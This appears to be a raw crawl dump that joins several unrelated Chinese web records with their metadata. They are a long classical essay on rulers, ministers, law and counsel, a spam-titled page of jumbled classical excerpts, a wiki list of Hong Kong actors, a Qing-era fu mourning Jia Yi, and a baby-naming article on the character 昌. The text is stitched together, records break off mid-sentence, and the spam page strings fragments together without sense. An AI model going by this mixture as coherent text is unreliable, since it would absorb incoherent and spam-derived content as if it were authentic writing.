臣賊子處之云何。且令人主魁然獨立。是無臣子也。又誰爲君父乎。是猶髠其枝而欲根之蔭。揜其目而欲視之明。襲獨立之迹。而願其扶疏也。\n夫徇名好術之主。又有惑焉。皆曰爲君之道。凡事當密。人主苟密。則群臣無所容其巧。而不敢怠於職。此即趙高之教二世不當聽朝之類也。是好乘高履危。而笑先僵者也。易曰。機事不密則害成。易稱機事。不謂凡事也。不謂宜共而獨之也。不謂釋公而行私也。人主欲以之匿病飾非。而人臣反以之竊寵擅權。疑似之間。可不察歟。夫設官分職。君之體也。委任責成。君之體也。好謀無倦。君之體也。寬以得衆。君之體也。含垢藏疾。君之體也。不動如山。君之體也。難知如淵。君之體也。君有君人之體。其臣畏而愛之。此文王所以戒百辟也。夫何法術之有哉。\n故善爲政者。務在於擇人而已。及其求人也。總其大略。不具其小善。則不失賢矣。故曰。記人之功。忘人之過。宜爲君者也。人有厚德。無問其小節。人有大譽。無訾其小故。自古及今。未有能全其行者也。和氏之璧。不能無瑕。隋侯之珠。不能無纇。然天下寶之者。不以小故妨大美也。不以小故妨大美。故能成大功。夫成大功在己而已。何具之於人也。今之從政者。稱聖賢則先乎商韓。言治道則師乎法術。法術之御世。有似鐵轡之御馬。非必能制馬也。適所以梏其手也。\n人君之數至少。而人臣之數至衆。以至少御至衆。其勢不勝也。人主任術而欲御其臣無術。其勢不禁也。俱任術則至少者不便也。故君使臣以禮。則臣事君以忠。晏平仲對齊景公 。君若弃禮。則齊國五尺之童皆能勝嬰。又能勝君。所以服者。以有禮也。今末世弃禮任術之君之於其身也。得無所不能勝五尺之童子乎。三代之亡。非其法亡也。御法者非其人也。苟得其人。王良、造父能以腐索御奔駟。伊尹、太公能以敗法御捍民。苟非其人。不由其道。索雖堅。馬必敗。法雖明。民必叛。\n奈何乎萬乘之主釋人而任法哉。且世未嘗無賢也。求賢之務。非其道、故常不遇之也。除去湯、武聖人之君任賢之功。近觀齊桓。中才之主耳。猶知勞於索人。逸於任之。不疑子糾之親。不忘射鉤之怨。蕩然而委政焉。不已明乎。九合諸侯。壹匡天下。不已榮乎。一曰仲父。二曰仲父。不已優乎。孰與秦二世懸石程書。愈密愈亂。爲之愈勤。而天下愈叛。至於弑死。以斯二者觀之。優劣之相懸。存亡之相背。不亦昭昭乎。夫人生莫不欲安存而惡危亡。莫不欲榮樂而惡勞辱也。終恒不得其所欲。而不免乎所惡者何。誠失道也。欲宫室之崇麗也。必懸重賞而求良匠。内不以阿親戚。外不以遺疏遠。必得其人。然後授之。故宫室崇麗。而處之逸樂。至於求其輔佐。獨不若是之公也。唯便辟親近者之用。故圖國不如圖舍。是人主之大患也。\n使賢者爲之。與不肖者議之。使智者慮之。與愚者斷之。使修士履之。與邪人疑之。此又人主之所患也。夫賞賢使能。則民知其方。賞罰明必。則民不偷。兼聰齊明。則天下歸之。然後明分職。序事業。公道開而私門塞矣。如此。則忠公者進而佞悦者止。虚僞者退而貞實者起。自群臣以下至乎庶人。莫不修己。而後敢安其職業。變心易慮。反其端慤。此之謂政化之極。審斯論者。明君之體畢矣。\n凡人臣之於其君也。猶四支之戴元首。耳目之爲心使也。皆相須而成爲體。相得而後爲治者也。故虞書曰。臣作股肱耳目。而屠蒯亦云。汝爲君目。將司明也。汝爲君耳。將司聰也。然則君人者、安可以斯須無臣。臣人者。安可以斯須無君。斯須無君。斯須無臣。是斯須無身也。故臣之事君。猶子之事父而加敬焉。父子至親矣。然其相須尚不及乎身之與手足也。身之於手足。可謂無間矣。然而聖人猶復督而致之。故其化益淳。其恩益密。自然不覺教化之移也。奸人離而間之。故使其臣自疑於下。而令其君孤立乎上。君臣相疑。上下離心。乃奸人之所以爲劫殺之資也。然夫中才之主。明不及乎治化之原。而感於僞術似是之説。故備之愈密。而奸人愈甚。譬猶登高者。愈懼愈危。愈危愈墜。孰如早去邪徑而就夫大道乎。\n凡士之結髮束修。立志於家門。欲以事君也。宗族稱孝焉。鄉黨稱悌焉。及志乎學。自托於師友。師貴其義而友安其信。孝悌以篤。信義又著。以此立身。以此事君。何待乎法。然後爲安。及其爲人臣也。稱才居位。稱能受禄。不面譽以求親。不偷悦以苟合。公家之利。知無不爲也。上足以尊主安國。下足以豐財阜民。謀事不忘其君。圖身不忘其國。内匡其過。外揚其義。不下比以暗上。不上同以病下。見善行之如不及。見賢舉之如不容。内舉不避親戚。外舉不避仇讎。程功積事而不望其報。進賢達能而不求其賞。道塗不争。險易之利。見難而無苟免之心。其身可殺而其守不可奪。此直道之臣所以佐賢明之主。致治平之功者也。\n若夫主明而臣暗。主暗而臣僞。有盡忠不見信。有見信而不盡忠。溷淆於臣主之分。出入於治亂之間。或被褐懷玉以待時。或巧言令色以容身。又可勝盡哉。是以古之全其道者。進則正。退則曲。正則與世樂其業。曲則全身歸於道。不傲世以華衆。不立高以爲名。不爲苟得以偷安。不爲苟免而無耻。夫修之於鄉閭。壞之於朝廷。可惜也。修之於己立。壞之於闔棺。可惜也。君子惜茲二者。是以有殺身以成仁。無求生以害仁。况害仁以求寵乎。故孔子曰。不義而富且貴。於我如浮雲。若夫智慮足以圖國。忠貞足以悟主。公平足以懷衆。温柔足以服人。不排毁以取進。不刻人以自入。不苟容以隱忠。不耽禄以傷高。通則使上恤其下。窮則教下順其上。故用於上則民安。行於下則君尊。可謂進不失忠。退不失行。此正士之義。爲臣之體也。\n凡趣舍之患。在於見可欲而不慮其敗。見可利而不慮其害。故動近於危辱。昔孫叔敖三相楚國而其心愈卑。每益禄而其施愈博。位滋高而其禮愈恭。正考父傴僂而走。晏平仲辭其賜邑。此皆守滿以衝。爲臣之體也。夫不憂主之不尊於天下。而唯憂己之不富貴。此古之所謂庸人。而今之所謂顯士。小人之所榮慕。而君子之所以爲耻也。\n凡人臣之論。所以事君者有四。有賢主之臣。有明主之臣。有中主之臣。有庸主之臣。上能尊主。下能壹民。物至能應。事起能辨。教化流於下。如影響之應形聲。此賢主之臣也。内足以壹民。外足以拒難。民親而士信之。身之所長。不以怫君。身之所短。不取功。此明主之臣也。君有過事。能壹心同力相與諫而正之。以解國之大患。成君之大榮。此中主之臣也。端殼而守法。壹心以事君。君有過事雖不能正諫。其憂見於顔色。此庸主之臣也。以庸主之臣也事賢主則從。以賢主之臣事庸主則凶。古之所以成其名者。皆度主而行者也。修之在己。而遭遇有時。是以古人抱麟而泣也。\n夫名不可以虚僞取也。不可以比周争也。故君子務修諸内而讓之於外。務積於身而處之以不足。夫爲人臣。其猶土乎。萬物載焉而不辭其重。水瀆污焉而不辭其下。草木殖焉而不有其功。此成功而不處。爲臣之體也。若夫處大位。任大事。荷重權於萬乘之國。必無後患者。其上莫如推賢讓能而安隨其後。不爲管仲。即爲鮑叔耳。其次莫如廣樹而并進之。不爲魏成子即爲翟黄耳。安有壅君蔽主專權之害哉。此事君之道。爲臣之體也。\n夫行也者。舉趾所由之徑路也。東西南北之趣舍也。君子小人之分界也。吉凶榮辱之皂白也。由南則失北也。由東則失西矣。由乎利則失爲君子。由乎義則失爲小人。吉凶榮辱之所由生。義利爲之本母也。是以君子慎趣舍焉。\n夫君子直道以耦世。小人枉行以取容。君子揜人之過以長善。小人毁人之善以爲功。君子寬賢容衆以爲道。小人徼訐懷詐以爲智。君子下學而無常師。小人耻學而羞不能。此又君子小人之分界也。君子心有所定。計有所守。智不務多。務行其所知。行不務多。務審其所由。安之若性。行之如不及。小人則不然。心不在乎道義之經。口不吐乎訓誥之言。不擇賢以托身。不力行以自定。隨轉如流。不知所執。此又君子小人之分界也。\n君子之養其心。莫善於誠。夫誠。君子所以懷萬物也。天不言而人推高焉。地不言而人推厚焉。四時不言而人期焉。此以至誠者也。誠者。天地之大定。而君子之所守也。天地有紀矣。不誠則不能化育。君臣有義矣。不誠則不能相臨。父子有禮矣。不誠則疏。夫婦有恩矣。不誠則離。交接有分矣。不誠則絶。以義應當。曲得其情。其唯誠乎。\n孔子曰。爲政以德。又曰。導之以德。齊之以禮。有耻且格。然則德之爲政大矣。而禮次之也。夫德禮也者。其導民之具歟。太上養化。使民日遷善而不知其所以然。此治之上也。其次使民交讓處勞而不怨。此治之次也。其下正法。使民利賞而歡善。畏刑而不敢爲非。此治之下也。夫善御民者。其猶御馬乎。正其銜勒。齊其轡策。均馬力。和馬心。故能不勞而極千里。善御民者。壹其德禮。正其百官。齊民力。和民心。是故令不再而民從。刑不用而天下化治。所貴聖人者。非貴其隨罪而作刑也。貴其隨亂之所生也。是以至人之爲治也。民有小罪。必求其善。以赦其過。民有大罪。必原其故。以仁輔化。是故上下親而不離。道化流而不蕰。\n夫君子欲政之速行。莫如以道御之也。皋繇瘖而爲大理。有不貴乎言也。師曠盲而爲太宰。有不貴乎見也。唯神化之爲貴。是故聖王冕而前旒。所以蔽明。黈纊充耳。所以揜聰也。觀夫弊俗偷薄之政。耳目以效聰明。設倚伏以探民情。是爲以軍政虜其民也。而望民之信向之。可謂不識乎分者矣。難哉。爲君也。\n夫君尊嚴而威。高遠而危。民者卑賤而恭。愚弱而神。惡之則國亡。愛之則國存。御民者必明此要。故南面而臨官。不敢以其富貴驕人。有諸中而能圖外。取諸身而能暢遠。觀一物而貫乎萬者。以身爲本也。夫欲知天之終始也。今日是也。欲知千萬之情。一人情是也。故爲政者不可以不知民之情。知民然(然上恐脱情字)後民乃從令。己所不欲。不施之於人。令安得不從乎。故善政者簡而易行。則民不變。法存身而民象之。則民不怨。近臣便嬖。百官因之而後達。則群臣自污也。是以爲政者必慎擇其左右。左右正則人主正矣。人主正則夫號令安得曲耶。\n天下大惡有五。而盗竊不豫焉。一曰心達而性險。二曰行僻而志堅。三曰言僞而辭辯。四曰記醜而喻博。五曰循非而言澤。此五者。有一於人則不可以不誅。况兼而有之。置之左右。訪之以事。而人主能立其身者。未之有也。\n夫淫逸盗竊。百姓之所惡也。我從而刑之殘之刻剥之。雖過乎當。百姓不以爲暴者。公也。怨曠飢寒。亦百姓之所惡也。遁而陷於法。我從而寬宥之。雖及於刑。必加隱惻焉。百姓不以我爲偏者。公也。我之所重。百姓之所憎也。我之所輕。百姓之所憐也。是故賞約而勸善。刑省而禁奸。由此言之。公之於法。無不可也。過輕亦可。過重亦可。私之於法。無可也。過輕則縱奸。過重則傷善。今之爲法者。不平公私之分。而辯輕重之文。不本百姓之心。而謹奏當之書。是治化在身而走求之也。\n聖人之於法也。已公矣。然猶身懼其未也。故曰。與其害善。寧其利淫。知刑當之難必也。從而救之以化。此上古之所務也。後之治獄者則不然。末訊罪人。則驅而致之。意謂之能。下不探獄之所由生爲之分。而上求人主之微旨以爲制。謂之忠。其當官也能。其事上也忠。則名利隨而與之。驅世而陷。此以望道化之隆。亦不幾矣。\n凡聽訟决獄。必原父子之親。立君臣之義。權輕重之叙。測淺深之量。悉其聰明。致其忠愛。然後察之。疑則與衆共之。衆疑則從輕者。所以重之也。非爲法不具也。以爲法不獨立。當須賢明共聽斷之也。故舜命皋繇曰。汝作士。惟刑之恤。又復加之以三誶。衆所謂善。然後斷之。是以爲法參之人情也。故春秋傳曰。小大之獄。雖不能察。必以情。而世俗拘愚苛刻之吏。以爲情也者。取貨賂者也。立愛憎者也。祐親戚者也。陷怨讎者也。何世俗小吏之情與夫古人之懸遠乎。無乃風化使之然邪。有司以此情疑之群吏。人主以此情疑之有司。是君臣上下不通相疑也。不通相疑。欲其盡忠立節、亦難矣。苟非忠節。免而無耻。免而無耻。以民安所厝其手足乎。\n春秋之時。王道浸壞。教化不行。子産相鄭而鑄刑書。偷薄之政。自此始矣。逮至戰國。韓任申子。秦用商鞅。連相坐之法。造參夷之誅。至於始皇兼吞六國。遂滅禮義之官。專任刑罰。而奸邪并生。天下叛之。高祖約法三章。而天下大悦。及孝文即位。躬修玄默。議論務在寬厚。天下化之。有刑厝之風。至於孝武。徵發煩數。百姓虚耗。窮民犯法。酷吏擊斷。奸宄不勝。於是張湯趙禹之屬。條定法令。轉相比况。禁固(固疑罔)積密。文書盈於机格。典者不能遍睹。奸吏因緣爲市。議者咸怨傷之。\n凡治獄之情。必本所犯之事以爲之主。不放訊。不旁求。不貴多端。以見聰明也。故律正其舉效(效疑劾)之法。參伍其辭。以求實也。非所以飾實也。但當參伍聰明之耳目。不使獄吏斷練飾治成辭於手也。孔子曰。古之聽獄。求所以生之也。今之聽獄。求所以殺之也。故斥言以破律。詆案以成法。執左道以亂政。皆王誅之所必加也。\n夫聽察者。乃存亡之門户。安危之機要也。若人主聽察不博。偏受所信。則謀有所漏。不盡良策。若博其觀聽。納受無方。考察不精。則數有所亂矣。人主以獨聽之聰。考察成敗之數。利害之説。雜而并至。以干窺聽。如此。誠至精之難。在於人主耳。不在竭誠納謀。盡己之策者也。若人主聽察不差。納受不謬則計濟事全。利倍功大。治隆而國富。民强而敵滅矣。若過聽不精。納受不審。則計困事敗。利喪功虧。國貧而兵弱。治亂而勢危矣。聽察之所考。不可不精。不可不審者。如此急也。\n凡有國之主。不可謂舉國無深謀之臣。闔朝無智策之士也。在聽策所考精與不精。審與不審耳。何以驗其然乎。在昔漢祖者。聰聽之主也。納陳恢之謀則下南陽。不用婁敬之計則困平城。廣武君者。策謀之士也。韓信納其計則燕、齊舉。陳餘不用其謀則泜水敗。由此觀之。漢祖之聽。未必一暗一聰也。在於精與不精耳。廣武之謀。非爲一拙一工也。在用與不用耳。不可謂事濟者有計策之士。覆敗者無深謀之臣也。吴王夫差拒子胥之謀。納宰嚭之説。國滅身亡者。不可謂無深謀之臣也。楚懷王拒屈原之計。納靳尚之策。没秦而不反者。不可謂無計畫之士也。虞公不用宫奇之謀滅於晋。仇由不聽赤章之言亡於智氏。蹇叔之哭。不能濟崤澠之覆。趙括之母。不能救長平之敗。此皆人主之聽不精不審耳。由此觀之。天下之國。莫不皆有忠臣謀士也。或喪師敗軍。危身亡國者。誠在人主之聽。不精不審。\n取忠臣。謀博士。將何國無之乎。臣以爲忠良慮治益國之臣。必竭誠納謀。懇惻而不隱者。欲以究盡治亂之數。舒展安危之策耳。故準聖主明君。莫不皆有獻可退否納忠之臣也。昔者。帝舜大聖之君也。猶有咎繇獻謨。夏禹納戒。曁至殷之成湯。周之文、武。皆亦至聖之君也。然必俟伊尹爲輔。吕尚爲師。然後乃能興功濟業。混一天下者。誠視聽之聰察。須忠良爲耳目也。由此觀之。忠良慮治益國之臣者。得不師蹤往古。襲迹前聖。投命自盡。以輔佐視聽乎。\n夫人君者。以至尊之聰聽。總萬機而賢(賢當作監)之。以至貴之明察。料治亂而考焉。將當能皆窮究其孔要。料盡其門户乎。其數必用有所遺漏。不有忠臣良謀輔佐視聽者。則凡百機微有所不聞矣。何以論其然乎。夫人君所以尊异於人者。順志養真也。歡康之虞。則嚴樂盈耳。玩好足目。美色充欲。麗服適體。遠眺迥望。則登雲表之崇臺。逍遥容豫。則歷飛閣之高觀。嬉乎緑水之清池。游乎桂林之芳園。弋鳧與鴈。從禽逐獸。行與毛嬙俱。入與西施處。將當何從體覺窮愁之戚悴。識鰥獨之難堪乎。食則膳鼎几爼。庶羞兼品。酸甘盈備。珍饌充庭。奏樂而進。鳴鐘而徹。閑饋代至。口不絶味。將當何從覺(覺上疑脱體字)饑餒之厄艱。識困餓之難堪乎。暑則被霧谷。襲纖絺。處華屋之大廈。居重蔭之玄堂。褰羅帷以來清風。烈(烈當作裂)凝冰以遏微暑。侍者御粉扇。典衣易輕裳。飄飄焉有秋日之凉。將當何從體覺炎夏之鬱赫。識毒熱之難堪乎。寒則服綿袍。襲輕裘。綿(绵疑錦)衾貂蓐。叠茵累席。居隩密之深室。處復帟之重幄。熾猛炭於室隅以起温。御玉卮之旨酒以禦寒。燄燄焉有夏日之熱。將當何從體覺隆冬之慘烈。識毒寒之難堪乎。此數者。誠無從得而知之者也。凡百機 。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022083.html","date":"2017-04-24T03:33:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00408-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.4754954875,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.47549548745155334, \"cmn_Hani_score\": 0.19591054320335388, \"nan_Hani_score\": 0.0689406469464302, \"zxx_Latn_score\": 0.037753768265247345, \"jpn_Jpan_score\": 0.03385384753346443, \"wuu_Hani_score\": 0.028184473514556885, \"und_Tang_score\": 0.01594163291156292, \"yue_Hani_score\": 0.010602503083646297}","num_words":34,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.475,"perplexity_score":500.0,"cluster_detection":1} +{"text":"99真人保守派借美国施压禁中国人入境韩部长回应亮了\n太史公曰:至矣哉!立隆以为极,而天下莫之能益损也。本末相顺,终始相应,至文有以辨,至察有以说。天下从之者治,不从者乱;从之者安,不从者危。小人不能则也。\n春申君相二十二年,诸侯患秦攻伐无已时,乃相与合从,西伐秦,而楚王为从长,春申君用事。至函谷关,秦出兵攻,诸侯兵皆败走。楚考烈王以咎春申君,春申君以此益疏。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路\n十二年,晋之宗家祁傒孙,叔乡子,相恶於君\n安国忠厚,初为梁将。因事坐法,免徒起相。死灰更然,生虏失防。推贤见重,贿金贻谤。雪泣悟主,臣节可亮。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/m.1800recyling.com\/DCTFC57269.html","date":"2020-02-27T06:01:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146647.82\/warc\/CC-MAIN-20200227033058-20200227063058-00164.warc.gz","language":"lzh","language_score":0.4949758053,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4949758052825928, \"cmn_Hani_score\": 0.20891402661800385, \"nan_Hani_score\": 0.13404740393161774, \"zxx_Latn_score\": 0.013926596380770206, \"wuu_Hani_score\": 0.013075536116957664, \"und_Xsux_score\": 0.012519189156591892, \"yue_Hani_score\": 0.010925034992396832}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.172,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.49,"perplexity_score":500.0,"cluster_detection":1} +{"text":"熱門頁面 袁彌明 伍仔 楊千嬅 陳嘉桓 傅穎 黎明 鍾欣潼 方力申 所有項目 (109) # A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 其他 伍 伍仔 余 余文樂 傅 傅穎 冼 冼灝英 劉 劉嘉玲 劉德華 劉心悠 劉浩龍 劉美君 古 古天樂 古巨基 古明華 吳 吳啟華 吳家樂 吳尊 吳岱融 吳彥祖 吳鎮宇 周 周家怡 周杰倫 周潤發 唐 唐寧 宋 宋本中 官 官恩娜 實 分類:實力派演員 尹 尹志強 廖 廖啟智 張 張學友 張家輝 張暖雅 張栢芝 張耀揚 張衛健 張達明 張雪芹 彎 彎彎 徐 徐淑敏 成 成龍 房 房祖名 文 文詠珊 方 方中信 方力申 曾 曾志偉 朱 朱茵 李 李兆基 (演員) 李光洙 李珊珊 杜 杜汶澤 林 林子揚 梁 梁思浩 梁洛施 梁詠琪 楊 楊冪 楊冪 (內地演員) 楊千嬅 楊怡 楊詩敏 樂 樂瞳 江 江若琳 游 游學修 潘 潘霜霜 王 王喜 甄 甄子丹 畢 畢彼特 盧 盧海鵬 章 章子怡 羅 羅家英 美 美心妹妹 翁 翁靜晶 舒 舒淇 苑 苑瓊丹 苗 苗僑偉 萬 萬綺雯 蔡 蔡卓妍 蔡子健 藍 藍潔瑛 袁 袁彌明 袁詠儀 許 許芯悅 謝 謝賢 謝霆鋒 譚 譚詠麟 趙 趙薇 連 連詩雅 邵 邵子風 郭 郭富城 鄧 鄧萃雯 鄧麗欣 鄭 鄭中基 鄭丹瑞 鄭俊弘 鄭則仕 鄭少秋 鄭希怡 鄭秀文 鍾 鍾欣潼 鍾鎮濤 鍾麗緹 陳 陳偉霆 陳嘉桓 陳小春 陳靜 雨 雨僑 飛 飛紙仔 馬 馬蹄露 黃 黃光亮 黃水靈 黃泆潼 黎 黎明 取自 \"https:\/\/evchk.wikia.org\/zh\/wiki\/分類:演員?oldid=417478\" 分類: 娛樂圈人物 除非另有註明,否則社區內容均使用CC-BY-SA授權條款。","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/evchk.wikia.org\/zh\/wiki\/%E5%88%86%E9%A1%9E:%E6%BC%94%E5%93%A1","date":"2020-10-21T06:53:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107876136.24\/warc\/CC-MAIN-20201021064154-20201021094154-00148.warc.gz","language":"lzh","language_score":0.6766321659,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.6766321659088135, \"cmn_Hani_score\": 0.26634863018989563, \"yue_Hani_score\": 0.02940765582025051, \"nan_Hani_score\": 0.02559349685907364}","num_words":216,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.332,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.786,"perplexity_score":500.0,"cluster_detection":1} +{"text":"長沙弔賈誼賦\n歲在丙辰,予春秋二十有一,於役粵西,路出長沙,感賈生之弔屈平也,亦為文以弔賈生。其詞曰:\n何蒼蒼者之不自珍其靈氣兮,代紛紛而俊英。前者既不用而流亡兮,後者又不用而挺生。惟吾夫子之於君臣兮,淚如秋霖而不可止。前既哭其治安兮,後又哭其愛子。為人臣而竭其忠兮,為人師而殉之以死。\n君固黃、農、虞、夏之故人兮,行宛曼於先王。不知漢家之自有制度兮,乃嘐嘐然一則曰禮樂,二則曰明堂。夫固要君以堯、舜兮,豈知其謙讓而猶未遑!彼絳、灌之碑碑兮,召儒生而恒東向。見夫子而吠所怪兮,以弱冠而氣淩其上。曰丁我躬而未諧夫人世兮,未免負孤姿而抱絕狀。\n當七國之妖氛將發兮,彼社稷臣無一語。徒申申其排余兮,余又見木索棰笞而憐汝。蓀兩愛而莫知所為兮,終不知千古之孰為龍而孰為鼠!彼俗儒之寡識兮,謂宜交歡夫要津。使詭遇而獲獸兮,吾又恐孟軻之笑人。\n聖賢每汶汶而蹇屯兮,歷萬祀而不知其故也。吾獨悲吾夫子兮,為其知而不遇也。明珠耀於懷袖兮,忽中道而置之。淑女歡於衾席兮,媵?譖而棄之。夫既幹將之出匣兮,胡不淬清水而試之?蒙召見於宣室兮,泣鬼神於前席。蓀拳拳而托長沙王兮,終不忍使先生之獨受此卑濕。欲嘉遁乎山椒兮,感君王之恩重。圖效忠於晚節兮,?鳥又知而來送。己之薄命固甘心兮,又累梁王而使之翻鞚。傷為傅之無狀兮,自賢人之忠愛也。三十三而化去兮,恐終非哭泣之為害也。\n彼顏淵之樂道兮,亦時命之不長。賢者不忍其言之驗兮,宜其身先七國而亡。誤鳳凰為欽兮,覽德輝而竟去。駟玉虯以上升兮,知九州之不可以久駐。逝者既蕭曼以雲徵兮,名獨留乎此處。\n亂曰:瀟湘之春,水浩浩兮;有美一人,涉遠道兮。忽見芳草,生君之廟兮;諮嗟涕洟,感年少兮。\n|本清朝作品在全世界都屬於公有領域,因為作者逝世已經超過100年。|","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/zh.wikisource.org\/wiki\/%E9%95%B7%E6%B2%99%E5%BC%94%E8%B3%88%E8%AA%BC%E8%B3%A6","date":"2022-05-23T20:49:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662561747.42\/warc\/CC-MAIN-20220523194013-20220523224013-00496.warc.gz","language":"lzh","language_score":0.7311854959,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7311854958534241, \"cmn_Hani_score\": 0.14489179849624634, \"nan_Hani_score\": 0.07318324595689774, \"yue_Hani_score\": 0.013378019444644451, \"jpn_Jpan_score\": 0.01194972824305296}","num_words":9,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.419,"perplexity_score":500.0,"cluster_detection":1} +{"text":"昌字是男孩取名常用字之一,指的是繁榮昌盛的意思,字意美好。所以家長們都喜歡用這個字作為寶寶的名字。那昌字的男孩名字有哪些呢?如何用昌字起名呢?周易網下面就這個字教您怎麼為寶寶取名。\n1、昌字的基本含義\n1.興盛。\n2.善,正當。\n3.古同\"菖\",菖蒲。\n4.古同\"猖\",凶猛。\n5.姓。\n2、昌字的姓名學屬性\n字音:chāng\n繁體:昌\n簡體筆畫:8\n姓名學筆畫:8\n五行屬性:火\n姓名學含義:比較直接,就是繁榮昌盛的意思。\n3、名人起名用字\n王昌齡:盛唐著名邊塞詩人,後人譽為\"七絕聖手\"。\n劉家昌:國台灣流行音樂作曲家、歌手、電影導演及演員。\n廖昌永:歌唱家。2015年登上央視春晚,與殷秀梅共唱歌曲《共築中國夢》。\n沈昌珉:歌手、演員、詞作人、平面模特、主持人。2003年作為東方神起成員出道,擔任主唱。\n周汝昌:紅學家、古典文學研究家、詩人、書法家,新中國紅學研究第一人,享譽海內外的考證派主力和集大成者,堪為當代\"紅學泰斗\"。\n4、如何用昌字取名\n根據五格用昌字起名時,因昌字的姓名學為8畫,8畫是吉利的筆畫,是吉祥的數字。指的是命主的事業運可謂是先難後富。健康運勢不錯,可望長壽。整體含義說明命主的意志如磐石般,具有積極進取的氣概,最終會排除萬難,完成自己的夢想。\n根據八字五行用昌字起名,因昌字的五行屬性屬於火,若是寶寶八字喜用神為火,則宜用昌字。若寶寶八字忌神為火,則用喜用神來化解昌字的火屬性。\n用昌字起名還須注意昌字的讀音,如昌與娼婦的娼同音,若富與婦同音。某人給自己的寶寶起名叫做劉昌富,意味著長富、繁榮昌盛的意思。可同音字就不好聽了,所以用昌字起名後,記得多讀幾遍。\n取名不是那麼簡單的事情,一個名字要想取的好,就必須注意這幾點,字音、字意、字形、符合三才五格定義、符合八字喜忌等。\n名字舉例\n昌維 昌振 昌涵 昌罡 昌平 昌瀚 昌文 貫昌 國昌 海昌 健昌 將昌 浩昌 習昌 昌午 昌戊 昌悟 昌浠\n相關起名用字\n文 宇 運 平 興 慶 康 浩 峰 恩 近 邦 啟 宣 傑 輝\n5、帶昌字的男孩名字參考大全\n昌字開頭的名字\n昌維 昌振 昌涵 昌七 昌飛 昌琳 昌丹 昌魁 昌大 昌雪 昌徽 昌熙 昌沂 昌光 昌煜 昌鬟 昌淇 昌肫 昌義 昌興 昌凡 昌恩 昌虎 昌茗 昌精 昌才 昌協 昌峪 昌漓 昌誠 昌其 昌齊 昌方 昌忠 昌桐 昌運 昌輝 昌慶 昌臣 昌羽 昌川 昌毓 昌依 昌峰 昌見 昌容 昌焯 昌利 昌翌 昌森 昌馨 昌宣 昌衍 昌廷 昌彤 昌養 昌航 昌祺 昌恆 昌葦 昌颉 昌之 昌博 昌波 昌祥 昌冉 昌倫 昌良 昌玉 昌陶 昌憲 昌童 昌桓 昌衡 昌朝 昌濱 昌然 昌晟 昌陽 昌江 昌東 昌宇 昌樹 昌傑 昌楊 昌罡 昌平 昌瀚 昌文 昌祈 昌曦 昌彧 昌鳴 昌和 昌爭 昌菡 昌會 昌宏 昌希 昌雅 昌凱 昌英 昌睿 昌蛾 昌鋒 昌钊 昌塵 昌彬 昌岸 昌澳 昌柏 昌栢 昌包 昌寶 昌豹 昌奔 昌搏 昌渤 昌泊 昌財 昌唱 昌臣 昌晨 昌呈 昌澄 昌承 昌楚 昌醇 昌淳 昌綽 昌聰 昌璁 昌答 昌帶 昌待 昌當 昌地 昌典 昌凡 昌范 昌楓 昌烽 昌甫 昌復 昌傅 昌概 昌鋼 昌綱 昌港 昌戈 昌宮 昌鞏 昌邯 昌杭 昌豪 昌亨 昌話 昌槐 昌環 昌回 昌積 昌集 昌家 昌教 昌皆 昌進 昌井 昌景 昌競 昌局 昌炬 昌君 昌康 昌慷 昌柯 昌肯 昌墾 昌快 昌礦 昌坤 昌廓 昌勞 昌籬 昌理 昌量 昌僚 昌燎 昌鄰 昌聆 昌巒 昌麥 昌萌 昌棉 昌渺 昌名 昌莫 昌墨 昌沫 昌念 昌凝 昌暖 昌彭 昌平 昌齊 昌前 昌僑 昌全 昌铨 昌然 昌嵘 昌潤 昌森 昌紹 昌實 昌墅 昌爍 昌泰 昌騰 昌謄 昌體 昌桐 昌旺 昌巍 昌惟 昌蔚 昌五 昌午 昌戊 昌悟 昌浠 昌羲 昌曦 昌析 昌習 昌喜 昌峽 昌夏 昌霄 昌骁 昌鑫 昌辛 昌心 昌秀 昌蓄 昌旋 昌泫 昌絢 昌迅 昌言 昌焰 昌耀 昌葉 昌頤 昌倚 昌義 昌譯 昌殷 昌尹 昌穎 昌庸 昌由 昌幼 昌與 昌遇 昌喻 昌育 昌原 